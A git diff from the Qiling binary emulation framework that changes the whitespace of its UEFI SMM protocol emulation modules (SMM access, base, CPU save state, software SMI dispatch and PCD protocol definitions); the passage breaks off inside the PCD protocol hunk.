a/qiling/os/uefi/protocols/EfiSmmAccess2Protocol.py +++ b/qiling/os/uefi/protocols/EfiSmmAccess2Protocol.py @@ -14,143 +14,143 @@ # @see: MdePkg\Include\Pi\PiMultiPhase.h class EFI_MMRAM_DESCRIPTOR(STRUCT): - _fields_ = [ - ('PhysicalStart', EFI_PHYSICAL_ADDRESS), - ('CpuStart', EFI_PHYSICAL_ADDRESS), - ('PhysicalSize', UINT64), - ('RegionState', UINT64) - ] + _fields_ = [ + ('PhysicalStart', EFI_PHYSICAL_ADDRESS), + ('CpuStart', EFI_PHYSICAL_ADDRESS), + ('PhysicalSize', UINT64), + ('RegionState', UINT64) + ] # @see: MdePkg\Include\Protocol\MmAccess.h class EFI_SMM_ACCESS2_PROTOCOL(STRUCT): - EFI_SMM_ACCESS2_PROTOCOL = STRUCT - _pack_ = 8 - - _fields_ = [ - ('Open', FUNCPTR(EFI_STATUS, PTR(EFI_SMM_ACCESS2_PROTOCOL))), - ('Close', FUNCPTR(EFI_STATUS, PTR(EFI_SMM_ACCESS2_PROTOCOL))), - ('Lock', FUNCPTR(EFI_STATUS, PTR(EFI_SMM_ACCESS2_PROTOCOL))), - ('GetCapabilities', FUNCPTR(EFI_STATUS, PTR(EFI_SMM_ACCESS2_PROTOCOL), PTR(UINTN), PTR(EFI_MMRAM_DESCRIPTOR))), - ('LockState', BOOLEAN), - ('OpenState', BOOLEAN) - ] + EFI_SMM_ACCESS2_PROTOCOL = STRUCT + _pack_ = 8 + + _fields_ = [ + ('Open', FUNCPTR(EFI_STATUS, PTR(EFI_SMM_ACCESS2_PROTOCOL))), + ('Close', FUNCPTR(EFI_STATUS, PTR(EFI_SMM_ACCESS2_PROTOCOL))), + ('Lock', FUNCPTR(EFI_STATUS, PTR(EFI_SMM_ACCESS2_PROTOCOL))), + ('GetCapabilities', FUNCPTR(EFI_STATUS, PTR(EFI_SMM_ACCESS2_PROTOCOL), PTR(UINTN), PTR(EFI_MMRAM_DESCRIPTOR))), + ('LockState', BOOLEAN), + ('OpenState', BOOLEAN) + ] @dxeapi(params = { - "This" : POINTER + "This" : POINTER }) def hook_Open(ql: Qiling, address: int, params): - ql.loader.smm_context.tseg_open = True + ql.loader.smm_context.tseg_open = True - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "This" : POINTER + "This" : POINTER }) def hook_Close(ql: Qiling, address: int, params): - ql.loader.smm_context.tseg_open = False + ql.loader.smm_context.tseg_open = False - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "This" : POINTER + "This" : POINTER }) def hook_Lock(ql: Qiling, address: int, params): - ql.loader.smm_context.tseg_locked = True + ql.loader.smm_context.tseg_locked = True - return EFI_SUCCESS + return EFI_SUCCESS def _coalesce(seq): - """Coalesce adjacent ranges on list, as long as they share the - same attributes. - """ + """Coalesce adjacent ranges on list, as long as they share the + same attributes. + """ - res = [] - curr = seq[0] + res = [] + curr = seq[0] - for item in seq[1:]: - start, end, attr = item + for item in seq[1:]: + start, end, attr = item - if start == curr[1] and attr == curr[2]: - curr[1] = end - else: - res.append(curr) - curr = item + if start == curr[1] and attr == curr[2]: + curr[1] = end + else: + res.append(curr) + curr = item - res.append(curr) + res.append(curr) - return res + return res @dxeapi(params = { - "This" : POINTER, # PTR(EFI_SMM_ACCESS2_PROTOCOL) - "MmramMapSize" : POINTER, # IN OUT PTR(UINTN) - "MmramMap" : POINTER # OUT PTR(EFI_MMRAM_DESCRIPTOR) + "This" : POINTER, # PTR(EFI_SMM_ACCESS2_PROTOCOL) + "MmramMapSize" : POINTER, # IN OUT PTR(UINTN) + "MmramMap" : POINTER # OUT PTR(EFI_MMRAM_DESCRIPTOR) }) def hook_GetCapabilities(ql: Qiling, address: int, params): - heap = ql.loader.smm_context.heap + heap = ql.loader.smm_context.heap - # get a copy of smm heap chunks list sorted by starting address - chunks = sorted(heap.chunks, key=lambda c: c.address) + # get a copy of smm heap chunks list sorted by starting address + chunks = sorted(heap.chunks, key=lambda c: c.address) - # turn chunks objects into 3-item entries: [start, end, inuse] - chunks = [[ch.address, ch.address + ch.size, ch.inuse] for ch in chunks] + # turn chunks objects into 3-item entries: [start, end, inuse] + chunks = [[ch.address, ch.address + ch.size, ch.inuse] for ch in chunks] - # if first chunk does not start at heap start, add a dummy free chunk there - if chunks[0][0] != heap.start_address: - chunks.insert(0, [heap.start_address, chunks[0].address, False]) + # if first chunk does not start at heap start, add a dummy free chunk there + if chunks[0][0] != heap.start_address: + chunks.insert(0, [heap.start_address, chunks[0].address, False]) - # if last chunk does not end at heap end, add a dummy free chunk there - if (chunks[-1][1]) != heap.end_address: - chunks.append([chunks[-1][1], heap.end_address, False]) + # if last chunk does not end at heap end, add a dummy free chunk there + if (chunks[-1][1]) != heap.end_address: + chunks.append([chunks[-1][1], heap.end_address, False]) - # coalesce adjacent free / used chunks on the list - chunks = _coalesce(chunks) + # coalesce adjacent free / used chunks on the list + chunks = _coalesce(chunks) - size = len(chunks) * EFI_SMRAM_DESCRIPTOR.sizeof() - MmramMapSize = params["MmramMapSize"] + size = len(chunks) * EFI_SMRAM_DESCRIPTOR.sizeof() + MmramMapSize = params["MmramMapSize"] - if utils.read_int64(ql, MmramMapSize) < size: - # since the caller cannot predict how much memory would be required for storing - # the memory map, this method is normally called twice. the first one passes a - # zero size only to determine the expected size, then the caller allocates the - # required amount of memory and call it again. - # - # our memory map is managed differently from the real one, and memory allocations - # are likely to generate an additional "map block" (or two, if allocated somewhere - # in the last free heap chunk). because the caller allocates a new memory chunk - # between the two calls, that would cause the second call to always complain the - # buffer is too small. - # - # to work around that, we have the first call return a larger number than it should - # have, to compensate on the coming allocation. - extra = 2 * EFI_SMRAM_DESCRIPTOR.sizeof() + if utils.read_int64(ql, MmramMapSize) < size: + # since the caller cannot predict how much memory would be required for storing + # the memory map, this method is normally called twice. the first one passes a + # zero size only to determine the expected size, then the caller allocates the + # required amount of memory and call it again. + # + # our memory map is managed differently from the real one, and memory allocations + # are likely to generate an additional "map block" (or two, if allocated somewhere + # in the last free heap chunk). because the caller allocates a new memory chunk + # between the two calls, that would cause the second call to always complain the + # buffer is too small. + # + # to work around that, we have the first call return a larger number than it should + # have, to compensate on the coming allocation. + extra = 2 * EFI_SMRAM_DESCRIPTOR.sizeof() - utils.write_int64(ql, MmramMapSize, size + extra) - return EFI_BUFFER_TOO_SMALL + utils.write_int64(ql, MmramMapSize, size + extra) + return EFI_BUFFER_TOO_SMALL - MmramMap = params["MmramMap"] + MmramMap = params["MmramMap"] - state = EFI_CACHEABLE - state |= EFI_SMRAM_OPEN if ql.loader.smm_context.tseg_open else EFI_SMRAM_CLOSED - state |= EFI_SMRAM_LOCKED if ql.loader.smm_context.tseg_locked else 0 + state = EFI_CACHEABLE + state |= EFI_SMRAM_OPEN if ql.loader.smm_context.tseg_open else EFI_SMRAM_CLOSED + state |= EFI_SMRAM_LOCKED if ql.loader.smm_context.tseg_locked else 0 - for i, ch in enumerate(chunks): - desc = EFI_SMRAM_DESCRIPTOR() - desc.PhysicalStart = ch[0] - desc.CpuStart = ch[0] - desc.PhysicalSize = ch[1] - ch[0] - desc.RegionState = state | (EFI_ALLOCATED if ch[2] else 0) + for i, ch in enumerate(chunks): + desc = EFI_SMRAM_DESCRIPTOR() + desc.PhysicalStart = ch[0] + desc.CpuStart = ch[0] + desc.PhysicalSize = ch[1] - ch[0] + desc.RegionState = state | (EFI_ALLOCATED if ch[2] else 0) - desc.saveTo(ql, MmramMap + (i * desc.sizeof())) + desc.saveTo(ql, MmramMap + (i * desc.sizeof())) - return EFI_SUCCESS + return EFI_SUCCESS descriptor = { - "guid" : "c2702b74-800c-4131-8746-8fb5b89ce4ac", - "struct" : EFI_SMM_ACCESS2_PROTOCOL, - "fields" : ( - ("Open", hook_Open), - ("Close", hook_Close), - ("Lock", hook_Lock), - ("GetCapabilities", hook_GetCapabilities) - ) + "guid" : "c2702b74-800c-4131-8746-8fb5b89ce4ac", + "struct" : EFI_SMM_ACCESS2_PROTOCOL, + "fields" : ( + ("Open", hook_Open), + ("Close", hook_Close), + ("Lock", hook_Lock), + ("GetCapabilities", hook_GetCapabilities) + ) } diff --git a/qiling/os/uefi/protocols/EfiSmmBase2Protocol.py b/qiling/os/uefi/protocols/EfiSmmBase2Protocol.py index 671e9a81c..1817862a7 100644 --- a/qiling/os/uefi/protocols/EfiSmmBase2Protocol.py +++ b/qiling/os/uefi/protocols/EfiSmmBase2Protocol.py @@ -15,43 +15,43 @@ # @see: MdePkg\Include\Protocol\SmmBase2.h class EFI_SMM_BASE2_PROTOCOL(STRUCT): - EFI_SMM_BASE2_PROTOCOL = STRUCT + EFI_SMM_BASE2_PROTOCOL = STRUCT - _fields_ = [ - ('InSmm', FUNCPTR(EFI_STATUS, PTR(EFI_SMM_BASE2_PROTOCOL), PTR(BOOLEAN))), - ('GetSmstLocation', FUNCPTR(EFI_STATUS, PTR(EFI_SMM_BASE2_PROTOCOL), PTR(PTR(EFI_SMM_SYSTEM_TABLE2)))), - ] + _fields_ = [ + ('InSmm', FUNCPTR(EFI_STATUS, PTR(EFI_SMM_BASE2_PROTOCOL), PTR(BOOLEAN))), + ('GetSmstLocation', FUNCPTR(EFI_STATUS, PTR(EFI_SMM_BASE2_PROTOCOL), PTR(PTR(EFI_SMM_SYSTEM_TABLE2)))), + ] @dxeapi(params = { - "This" : POINTER, - "InSmram" : POINTER + "This" : POINTER, + "InSmram" : POINTER }) def hook_InSmm(ql: Qiling, address: int, params): - ql.log.debug(f'InSmram = {ql.os.smm.active}') + ql.log.debug(f'InSmram = {ql.os.smm.active}') - write_int8(ql, params["InSmram"], int(ql.os.smm.active)) + write_int8(ql, params["InSmram"], int(ql.os.smm.active)) - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "This" : POINTER, - "Smst" : POINTER + "This" : POINTER, + "Smst" : POINTER }) def hook_GetSmstLocation(ql: Qiling, address: int, params): - Smst = params["Smst"] + Smst = params["Smst"] - if Smst == 0: - return EFI_INVALID_PARAMETER + if Smst == 0: + return EFI_INVALID_PARAMETER - write_int64(ql, Smst, ql.loader.gSmst) + write_int64(ql, Smst, ql.loader.gSmst) - return EFI_SUCCESS + return EFI_SUCCESS descriptor = { - "guid" : "f4ccbfb7-f6e0-47fd-9dd4-10a8f150c191", - "struct" : EFI_SMM_BASE2_PROTOCOL, - "fields" : ( - ("InSmm", hook_InSmm), - ("GetSmstLocation", hook_GetSmstLocation) - ) + "guid" : "f4ccbfb7-f6e0-47fd-9dd4-10a8f150c191", + "struct" : EFI_SMM_BASE2_PROTOCOL, + "fields" : ( + ("InSmm", hook_InSmm), + ("GetSmstLocation", hook_GetSmstLocation) + ) } diff --git a/qiling/os/uefi/protocols/EfiSmmCpuProtocol.py b/qiling/os/uefi/protocols/EfiSmmCpuProtocol.py index eaa6ec681..3b24ea8ec 100644 --- a/qiling/os/uefi/protocols/EfiSmmCpuProtocol.py +++ b/qiling/os/uefi/protocols/EfiSmmCpuProtocol.py @@ -11,148 +11,148 @@ # @see: MdePkg/Include/Protocol/MmCpu.h class EFI_SMM_SAVE_STATE_REGISTER(ENUM_UC): - _members_ = { - # note: members names were shorten from 'EFI_SMM_SAVE_STATE_REGISTER_regname' to just 'regname' - 'GDTBASE' : 4, - 'IDTBASE' : 5, - 'LDTBASE' : 6, - 'GDTLIMIT' : 7, - 'IDTLIMIT' : 8, - 'LDTLIMIT' : 9, - 'LDTINFO' : 10, - - 'ES' : 20, - 'CS' : 21, - 'SS' : 22, - 'DS' : 23, - 'FS' : 24, - 'GS' : 25, - 'LDTR_SEL' : 26, - 'TR_SEL' : 27, - 'DR7' : 28, - 'DR6' : 29, - 'R8' : 30, - 'R9' : 31, - 'R10' : 32, - 'R11' : 33, - 'R12' : 34, - 'R13' : 35, - 'R14' : 36, - 'R15' : 37, - 'RAX' : 38, - 'RBX' : 39, - 'RCX' : 40, - 'RDX' : 41, - 'RSP' : 42, - 'RBP' : 43, - 'RSI' : 44, - 'RDI' : 45, - 'RIP' : 46, - - 'RFLAGS' : 51, - 'CR0' : 52, - 'CR3' : 53, - 'CR4' : 54, - - 'FCW' : 256, - 'FSW' : 257, - 'FTW' : 258, - 'OPCODE' : 259, - 'FP_EIP' : 260, - 'FP_CS' : 261, - 'DATAOFFSET': 262, - 'FP_DS' : 263, - 'MM0' : 264, - 'MM1' : 265, - 'MM2' : 266, - 'MM3' : 267, - 'MM4' : 268, - 'MM5' : 269, - 'MM6' : 270, - 'MM7' : 271, - 'XMM0' : 272, - 'XMM1' : 273, - 'XMM2' : 274, - 'XMM3' : 275, - 'XMM4' : 276, - 'XMM5' : 277, - 'XMM6' : 278, - 'XMM7' : 279, - 'XMM8' : 280, - 'XMM9' : 281, - 'XMM10' : 282, - 'XMM11' : 283, - 'XMM12' : 284, - 'XMM13' : 285, - 'XMM14' : 286, - 'XMM15' : 287, - - 'IO' : 512, - 'LMA' : 513, - 'PROCESSOR_ID' : 514 - } - -# EFI_SUCCESS The register was written from Save State -# EFI_NOT_FOUND The register is not defined for the Save State of Processor -# EFI_INVALID_PARAMETER ProcessorIndex or Width is not correct + _members_ = { + # note: members names were shorten from 'EFI_SMM_SAVE_STATE_REGISTER_regname' to just 'regname' + 'GDTBASE' : 4, + 'IDTBASE' : 5, + 'LDTBASE' : 6, + 'GDTLIMIT' : 7, + 'IDTLIMIT' : 8, + 'LDTLIMIT' : 9, + 'LDTINFO' : 10, + + 'ES' : 20, + 'CS' : 21, + 'SS' : 22, + 'DS' : 23, + 'FS' : 24, + 'GS' : 25, + 'LDTR_SEL' : 26, + 'TR_SEL' : 27, + 'DR7' : 28, + 'DR6' : 29, + 'R8' : 30, + 'R9' : 31, + 'R10' : 32, + 'R11' : 33, + 'R12' : 34, + 'R13' : 35, + 'R14' : 36, + 'R15' : 37, + 'RAX' : 38, + 'RBX' : 39, + 'RCX' : 40, + 'RDX' : 41, + 'RSP' : 42, + 'RBP' : 43, + 'RSI' : 44, + 'RDI' : 45, + 'RIP' : 46, + + 'RFLAGS' : 51, + 'CR0' : 52, + 'CR3' : 53, + 'CR4' : 54, + + 'FCW' : 256, + 'FSW' : 257, + 'FTW' : 258, + 'OPCODE' : 259, + 'FP_EIP' : 260, + 'FP_CS' : 261, + 'DATAOFFSET': 262, + 'FP_DS' : 263, + 'MM0' : 264, + 'MM1' : 265, + 'MM2' : 266, + 'MM3' : 267, + 'MM4' : 268, + 'MM5' : 269, + 'MM6' : 270, + 'MM7' : 271, + 'XMM0' : 272, + 'XMM1' : 273, + 'XMM2' : 274, + 'XMM3' : 275, + 'XMM4' : 276, + 'XMM5' : 277, + 'XMM6' : 278, + 'XMM7' : 279, + 'XMM8' : 280, + 'XMM9' : 281, + 'XMM10' : 282, + 'XMM11' : 283, + 'XMM12' : 284, + 'XMM13' : 285, + 'XMM14' : 286, + 'XMM15' : 287, + + 'IO' : 512, + 'LMA' : 513, + 'PROCESSOR_ID' : 514 + } + +# EFI_SUCCESS The register was written from Save State +# EFI_NOT_FOUND The register is not defined for the Save State of Processor +# EFI_INVALID_PARAMETER ProcessorIndex or Width is not correct @dxeapi(params = { - "This" : POINTER, # EFI_SMM_CPU_PROTOCOL - "Width" : ULONGLONG,# UINTN - "Register" : INT, # EFI_SMM_SAVE_STATE_REGISTER - "CpuIndex" : ULONGLONG,# UINTN - "Buffer" : POINTER # PTR(VOID) + "This" : POINTER, # EFI_SMM_CPU_PROTOCOL + "Width" : ULONGLONG,# UINTN + "Register" : INT, # EFI_SMM_SAVE_STATE_REGISTER + "CpuIndex" : ULONGLONG,# UINTN + "Buffer" : POINTER # PTR(VOID) }) def hook_SmmReadSaveState(ql: Qiling, address: int, params): - Width = params['Width'] - Register = params['Register'] - CpuIndex = params['CpuIndex'] - Buffer = params['Buffer'] + Width = params['Width'] + Register = params['Register'] + CpuIndex = params['CpuIndex'] + Buffer = params['Buffer'] - # currently supporting only one cpu - if CpuIndex > 0: - return EFI_INVALID_PARAMETER + # currently supporting only one cpu + if CpuIndex > 0: + return EFI_INVALID_PARAMETER - data = ql.os.smm.ssa.read(Register, Width) - ql.mem.write(Buffer, bytes(data)) + data = ql.os.smm.ssa.read(Register, Width) + ql.mem.write(Buffer, bytes(data)) - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "This" : POINTER, # EFI_SMM_CPU_PROTOCOL - "Width" : ULONGLONG,# UINTN - "Register" : INT, # EFI_SMM_SAVE_STATE_REGISTER - "CpuIndex" : ULONGLONG,# UINTN - "Buffer" : POINTER # PTR(VOID) + "This" : POINTER, # EFI_SMM_CPU_PROTOCOL + "Width" : ULONGLONG,# UINTN + "Register" : INT, # EFI_SMM_SAVE_STATE_REGISTER + "CpuIndex" : ULONGLONG,# UINTN + "Buffer" : POINTER # PTR(VOID) }) def hook_SmmWriteSaveState(ql: Qiling, address: int, params): - Width = params['Width'] - Register = params['Register'] - CpuIndex = params['CpuIndex'] - Buffer = params['Buffer'] + Width = params['Width'] + Register = params['Register'] + CpuIndex = params['CpuIndex'] + Buffer = params['Buffer'] - # currently supporting only one cpu - if CpuIndex > 0: - return EFI_INVALID_PARAMETER + # currently supporting only one cpu + if CpuIndex > 0: + return EFI_INVALID_PARAMETER - data = ql.mem.read(Buffer, Width) - ql.os.smm.ssa.write(Register, bytes(data)) + data = ql.mem.read(Buffer, Width) + ql.os.smm.ssa.write(Register, bytes(data)) - return EFI_SUCCESS + return EFI_SUCCESS class EFI_SMM_CPU_PROTOCOL(STRUCT): - EFI_SMM_CPU_PROTOCOL = STRUCT + EFI_SMM_CPU_PROTOCOL = STRUCT - _fields_ = [ - ('SmmReadSaveState', FUNCPTR(PTR(EFI_SMM_CPU_PROTOCOL), UINTN, EFI_SMM_SAVE_STATE_REGISTER, UINTN, PTR(VOID))), - ('SmmWriteSaveState', FUNCPTR(PTR(EFI_SMM_CPU_PROTOCOL), UINTN, EFI_SMM_SAVE_STATE_REGISTER, UINTN, PTR(VOID))) - ] + _fields_ = [ + ('SmmReadSaveState', FUNCPTR(PTR(EFI_SMM_CPU_PROTOCOL), UINTN, EFI_SMM_SAVE_STATE_REGISTER, UINTN, PTR(VOID))), + ('SmmWriteSaveState', FUNCPTR(PTR(EFI_SMM_CPU_PROTOCOL), UINTN, EFI_SMM_SAVE_STATE_REGISTER, UINTN, PTR(VOID))) + ] descriptor = { - "guid" : "eb346b97-975f-4a9f-8b22-f8e92bb3d569", - "struct" : EFI_SMM_CPU_PROTOCOL, - "fields" : ( - ("SmmReadSaveState", hook_SmmReadSaveState), - ("SmmWriteSaveState", hook_SmmWriteSaveState) - ) + "guid" : "eb346b97-975f-4a9f-8b22-f8e92bb3d569", + "struct" : EFI_SMM_CPU_PROTOCOL, + "fields" : ( + ("SmmReadSaveState", hook_SmmReadSaveState), + ("SmmWriteSaveState", hook_SmmWriteSaveState) + ) } diff --git a/qiling/os/uefi/protocols/EfiSmmSwDispatch2Protocol.py b/qiling/os/uefi/protocols/EfiSmmSwDispatch2Protocol.py index 22f92537d..d26b66b9d 100644 --- a/qiling/os/uefi/protocols/EfiSmmSwDispatch2Protocol.py +++ b/qiling/os/uefi/protocols/EfiSmmSwDispatch2Protocol.py @@ -14,110 +14,110 @@ MAXIMUM_SWI_VALUE = 0xff class EFI_SMM_SW_CONTEXT(STRUCT): - _pack_ = 8 + _pack_ = 8 - _fields_ = [ - ('SwSmiCpuIndex', UINTN), # index of the cpu which generated the swsmi - ('CommandPort', UINT8), # port number used to trigger the swsmi - ('DataPort', UINT8) # irrelevant - ] + _fields_ = [ + ('SwSmiCpuIndex', UINTN), # index of the cpu which generated the swsmi + ('CommandPort', UINT8), # port number used to trigger the swsmi + ('DataPort', UINT8) # irrelevant + ] # @file: MdePkg\Include\Protocol\SmmSwDispatch2.h class EFI_SMM_SW_REGISTER_CONTEXT(STRUCT): - _fields_ = [ - ('SwSmiInputValue', UINTN) - ] + _fields_ = [ + ('SwSmiInputValue', UINTN) + ] # @ file: MdePkg\Include\Pi\PiMmCis.h EFI_SMM_HANDLER_ENTRY_POINT2 = FUNCPTR(EFI_STATUS, EFI_HANDLE, PTR(VOID), PTR(VOID), PTR(UINTN)) class EFI_SMM_SW_DISPATCH2_PROTOCOL(STRUCT): - EFI_SMM_SW_DISPATCH2_PROTOCOL = STRUCT + EFI_SMM_SW_DISPATCH2_PROTOCOL = STRUCT - _fields_ = [ - ('Register', FUNCPTR(EFI_STATUS, PTR(EFI_SMM_SW_DISPATCH2_PROTOCOL), EFI_SMM_HANDLER_ENTRY_POINT2, PTR(EFI_SMM_SW_REGISTER_CONTEXT), PTR(EFI_HANDLE))), - ('UnRegister', FUNCPTR(EFI_STATUS, PTR(EFI_SMM_SW_DISPATCH2_PROTOCOL), EFI_HANDLE)), - ('MaximumSwiValue', UINTN) - ] + _fields_ = [ + ('Register', FUNCPTR(EFI_STATUS, PTR(EFI_SMM_SW_DISPATCH2_PROTOCOL), EFI_SMM_HANDLER_ENTRY_POINT2, PTR(EFI_SMM_SW_REGISTER_CONTEXT), PTR(EFI_HANDLE))), + ('UnRegister', FUNCPTR(EFI_STATUS, PTR(EFI_SMM_SW_DISPATCH2_PROTOCOL), EFI_HANDLE)), + ('MaximumSwiValue', UINTN) + ] @dxeapi(params = { - "This" : POINTER, # PTR(EFI_SMM_SW_DISPATCH2_PROTOCOL) - "DispatchFunction" : POINTER, # EFI_SMM_HANDLER_ENTRY_POINT2 - "RegisterContext" : POINTER, # PTR(EFI_SMM_SW_REGISTER_CONTEXT) - "DispatchHandle" : POINTER # PTR(EFI_HANDLE) + "This" : POINTER, # PTR(EFI_SMM_SW_DISPATCH2_PROTOCOL) + "DispatchFunction" : POINTER, # EFI_SMM_HANDLER_ENTRY_POINT2 + "RegisterContext" : POINTER, # PTR(EFI_SMM_SW_REGISTER_CONTEXT) + "DispatchHandle" : POINTER # PTR(EFI_HANDLE) }) def hook_Register(ql: Qiling, address: int, params): - DispatchFunction: int = params['DispatchFunction'] - RegisterContext: int = params['RegisterContext'] - DispatchHandle: int = params['DispatchHandle'] + DispatchFunction: int = params['DispatchFunction'] + RegisterContext: int = params['RegisterContext'] + DispatchHandle: int = params['DispatchHandle'] - if DispatchFunction == 0 or DispatchHandle == 0: - return EFI_INVALID_PARAMETER + if DispatchFunction == 0 or DispatchHandle == 0: + return EFI_INVALID_PARAMETER - handlers = ql.loader.smm_context.swsmi_handlers + handlers = ql.loader.smm_context.swsmi_handlers - SwRegisterContext = EFI_SMM_SW_REGISTER_CONTEXT.loadFrom(ql, RegisterContext) - idx = SwRegisterContext.SwSmiInputValue + SwRegisterContext = EFI_SMM_SW_REGISTER_CONTEXT.loadFrom(ql, RegisterContext) + idx = SwRegisterContext.SwSmiInputValue - # a value of -1 indicates that the swsmi index for this handler is flexible and - # should be assigned by the protocol - if idx == ((1 << ql.arch.bits) - 1): - idx = next((i for i in range(1, MAXIMUM_SWI_VALUE) if i not in handlers), None) + # a value of -1 indicates that the swsmi index for this handler is flexible and + # should be assigned by the protocol + if idx == ((1 << ql.arch.bits) - 1): + idx = next((i for i in range(1, MAXIMUM_SWI_VALUE) if i not in handlers), None) - if idx is None: - return EFI_OUT_OF_RESOURCES + if idx is None: + return EFI_OUT_OF_RESOURCES - SwRegisterContext.SwSmiInputValue = idx - SwRegisterContext.saveTo(ql, RegisterContext) + SwRegisterContext.SwSmiInputValue = idx + SwRegisterContext.saveTo(ql, RegisterContext) - else: - This = EFI_SMM_SW_DISPATCH2_PROTOCOL.loadFrom(ql, params['This']) + else: + This = EFI_SMM_SW_DISPATCH2_PROTOCOL.loadFrom(ql, params['This']) - if idx in handlers: - return EFI_INVALID_PARAMETER + if idx in handlers: + return EFI_INVALID_PARAMETER - if idx > This.MaximumSwiValue: - return EFI_INVALID_PARAMETER + if idx > This.MaximumSwiValue: + return EFI_INVALID_PARAMETER - # allocate handle and return it through out parameter - Handle = ql.loader.smm_context.heap.alloc(ql.arch.pointersize) - utils.write_int64(ql, DispatchHandle, Handle) + # allocate handle and return it through out parameter + Handle = ql.loader.smm_context.heap.alloc(ql.arch.pointersize) + utils.write_int64(ql, DispatchHandle, Handle) - args = { - 'DispatchHandle' : Handle, - 'RegisterContext' : SwRegisterContext - } + args = { + 'DispatchHandle' : Handle, + 'RegisterContext' : SwRegisterContext + } - handlers[idx] = (DispatchFunction, args) + handlers[idx] = (DispatchFunction, args) - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "This" : POINTER, - "DispatchHandle" : POINTER + "This" : POINTER, + "DispatchHandle" : POINTER }) def hook_UnRegister(ql: Qiling, address: int, params): - DispatchHandle: int = params['DispatchHandle'] + DispatchHandle: int = params['DispatchHandle'] - handlers = ql.loader.smm_context.swsmi_handlers - heap = ql.loader.smm_context.heap + handlers = ql.loader.smm_context.swsmi_handlers + heap = ql.loader.smm_context.heap - idx = next((idx for idx, (_, args) in handlers.items() if args['DispatchHandle'] == DispatchHandle), None) + idx = next((idx for idx, (_, args) in handlers.items() if args['DispatchHandle'] == DispatchHandle), None) - if idx is None: - return EFI_INVALID_PARAMETER + if idx is None: + return EFI_INVALID_PARAMETER - heap.free(DispatchHandle) - del handlers[idx] + heap.free(DispatchHandle) + del handlers[idx] - return EFI_SUCCESS + return EFI_SUCCESS descriptor = { - "guid" : "18a3c6dc-5eea-48c8-a1c1-b53389f98999", - "struct" : EFI_SMM_SW_DISPATCH2_PROTOCOL, - "fields" : ( - ("Register", hook_Register), - ("UnRegister", hook_UnRegister), - ('MaximumSwiValue', MAXIMUM_SWI_VALUE) - ) + "guid" : "18a3c6dc-5eea-48c8-a1c1-b53389f98999", + "struct" : EFI_SMM_SW_DISPATCH2_PROTOCOL, + "fields" : ( + ("Register", hook_Register), + ("UnRegister", hook_UnRegister), + ('MaximumSwiValue', MAXIMUM_SWI_VALUE) + ) } diff --git a/qiling/os/uefi/protocols/PcdProtocol.py b/qiling/os/uefi/protocols/PcdProtocol.py index f4237b11a..e1eaafab9 100644 --- a/qiling/os/uefi/protocols/PcdProtocol.py +++ b/qiling/os/uefi/protocols/PcdProtocol.py @@ -10,325 +10,325 @@ PCD_PROTOCOL_CALLBACK = FUNCPTR(VOID, PTR(EFI_GUID), UINTN, PTR(VOID), UINTN) -PCD_PROTOCOL_SET_SKU = FUNCPTR(VOID, UINTN) -PCD_PROTOCOL_GET8 = FUNCPTR(UINT8, UINTN) -PCD_PROTOCOL_GET16 = FUNCPTR(UINT16, UINTN) -PCD_PROTOCOL_GET32 = FUNCPTR(UINT32, UINTN) -PCD_PROTOCOL_GET64 = FUNCPTR(UINT64, UINTN) -PCD_PROTOCOL_GET_POINTER = FUNCPTR(PTR(VOID), UINTN) -PCD_PROTOCOL_GET_BOOLEAN = FUNCPTR(BOOLEAN, UINTN) -PCD_PROTOCOL_GET_SIZE = FUNCPTR(UINTN, UINTN) -PCD_PROTOCOL_GET_EX_8 = FUNCPTR(UINT8, PTR(EFI_GUID), UINTN) -PCD_PROTOCOL_GET_EX_16 = FUNCPTR(UINT16, PTR(EFI_GUID), UINTN) -PCD_PROTOCOL_GET_EX_32 = FUNCPTR(UINT32, PTR(EFI_GUID), UINTN) -PCD_PROTOCOL_GET_EX_64 = FUNCPTR(UINT64, PTR(EFI_GUID), UINTN) -PCD_PROTOCOL_GET_EX_POINTER = FUNCPTR(PTR(VOID), PTR(EFI_GUID), UINTN) -PCD_PROTOCOL_GET_EX_BOOLEAN = FUNCPTR(BOOLEAN, PTR(EFI_GUID), UINTN) -PCD_PROTOCOL_GET_EX_SIZE = FUNCPTR(UINTN, PTR(EFI_GUID), UINTN) -PCD_PROTOCOL_SET8 = FUNCPTR(EFI_STATUS, UINTN, UINT8) -PCD_PROTOCOL_SET16 = FUNCPTR(EFI_STATUS, UINTN, UINT16) -PCD_PROTOCOL_SET32 = FUNCPTR(EFI_STATUS, UINTN, UINT32) -PCD_PROTOCOL_SET64 = FUNCPTR(EFI_STATUS, UINTN, UINT64) -PCD_PROTOCOL_SET_POINTER = FUNCPTR(EFI_STATUS, UINTN, PTR(UINTN), PTR(VOID)) -PCD_PROTOCOL_SET_BOOLEAN = FUNCPTR(EFI_STATUS, UINTN, BOOLEAN) -PCD_PROTOCOL_SET_EX_8 = FUNCPTR(EFI_STATUS, PTR(EFI_GUID), UINTN, UINT8) -PCD_PROTOCOL_SET_EX_16 = FUNCPTR(EFI_STATUS, PTR(EFI_GUID), UINTN, UINT16) -PCD_PROTOCOL_SET_EX_32 = FUNCPTR(EFI_STATUS, PTR(EFI_GUID), UINTN, UINT32) -PCD_PROTOCOL_SET_EX_64 = FUNCPTR(EFI_STATUS, PTR(EFI_GUID), UINTN, UINT64) -PCD_PROTOCOL_SET_EX_POINTER = FUNCPTR(EFI_STATUS, PTR(EFI_GUID), UINTN, PTR(UINTN), PTR(VOID)) -PCD_PROTOCOL_SET_EX_BOOLEAN = FUNCPTR(EFI_STATUS, PTR(EFI_GUID), UINTN, BOOLEAN) -PCD_PROTOCOL_CALLBACK_ONSET = FUNCPTR(EFI_STATUS, PTR(EFI_GUID), UINTN, PCD_PROTOCOL_CALLBACK) +PCD_PROTOCOL_SET_SKU = FUNCPTR(VOID, UINTN) +PCD_PROTOCOL_GET8 = FUNCPTR(UINT8, UINTN) +PCD_PROTOCOL_GET16 = FUNCPTR(UINT16, UINTN) +PCD_PROTOCOL_GET32 = FUNCPTR(UINT32, UINTN) +PCD_PROTOCOL_GET64 = FUNCPTR(UINT64, UINTN) +PCD_PROTOCOL_GET_POINTER = FUNCPTR(PTR(VOID), UINTN) +PCD_PROTOCOL_GET_BOOLEAN = FUNCPTR(BOOLEAN, UINTN) +PCD_PROTOCOL_GET_SIZE = 